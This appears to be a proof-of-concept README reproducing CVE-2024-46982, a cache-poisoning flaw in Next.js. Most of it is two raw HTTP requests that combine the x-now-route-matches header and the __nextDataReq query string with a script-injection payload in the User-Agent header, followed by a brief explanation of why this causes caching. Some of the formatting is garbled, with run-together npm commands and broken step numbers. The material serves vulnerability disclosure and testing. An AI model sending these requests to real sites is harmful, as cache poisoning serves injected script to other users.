
Reproduction of CVE-2024-46982
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visit http://localhost:3000 (Normal Request) using any Web Browser.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visit http://localhost:3000 (Normal Request) using any Web Browser.

x-now-route-matches is a custom HTTP header recognized by Next.js. When present, Next.js will treat the HTTP Request as "SSG" (Static Site Generation), which the HTTP Response can be cached (Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1 is a querystring recognized by Next.js. When present, Next.js will treat the HTTP Request as "Retrieving __NEXT_DATA__".
Full writeup can be found in Credit section